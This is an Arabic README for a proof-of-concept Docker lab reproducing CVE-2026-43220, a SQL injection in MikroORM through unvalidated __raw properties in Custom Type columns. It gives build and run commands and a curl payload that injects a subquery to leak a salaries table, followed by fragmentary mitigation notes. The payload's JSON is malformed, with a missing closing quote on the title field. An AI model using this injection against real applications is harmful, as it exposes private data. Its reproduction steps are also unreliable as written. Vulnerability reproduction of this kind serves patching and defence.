
إثبات مفهوم ومختبر Docker لإعادة إنتاج CVE-2026-43220، وهو حقن SQL في MikroORM عبر خصائص __raw غير المُتحقق منها في أعمدة الأنواع المخصصة، مع خطوات استغلال قائمة على curl.
★ إثبات مفهوم حقن SQL في MikroORM CVE-2026-43220 ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 هو ثغرة حقن SQL في MikroORM، وهو إطار عمل ORM شائع الاستخدام في TypeScript/Node.js.
عندما تُمرَّر قيمة مقدَّمة من المستخدم تحتوي على خاصية__rawإلى عمود Custom Type دون التحقق منها، يتعرف فحصisRaw()في MikroORM عليها كتعبير Raw SQL داخلي موثوق ويُدرج قيمةsqlالتي يتحكم بها المهاجم مباشرةً في الاستعلام المُولَّد دون تحويل للنوع أو تعقيم، مما يؤدي إلى تنفيذ غير مقصود لـ SQL عشوائي.
| الفئة | الإصدار |
|---|---|
| معرّضة للثغرة | MikroORM الإصدار ≤ 6.4.3 و 7.0.0 ≤ الإصدار ≤ 7.0.5 |
| مُصحَّحة | MikroORM 6.4.4 و 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
بعد تشغيل البيئة المعرّضة للثغرة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.
__rawأرسل جسم JSON يتضمن خاصية __raw تستهدف عمود Custom Type.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
تحقق من أن الـ API يُرجع استجابة ناجحة دون أي خطأ، مما يشير إلى أن MikroORM قَبِل الحمولة الخبيثة كقيمة صالحة.
تحقق من أن حقل content في المنشور المُنشأ يحتوي على نتيجة الاستعلام
من جدول salaries (مثل Alice: 5000 / Bob: 7000 / ...)،
مما يؤكد أن بيانات من جدول غير ذي صلة قد دُمجت بصمت
في الاستجابة دون أي خطأ أو انتهاك لضوابط الوصول.
isRaw() لرفض خصائص __raw المقدَّمة من الخارج__raw قبل تمرير القيم إلى طبقة ORM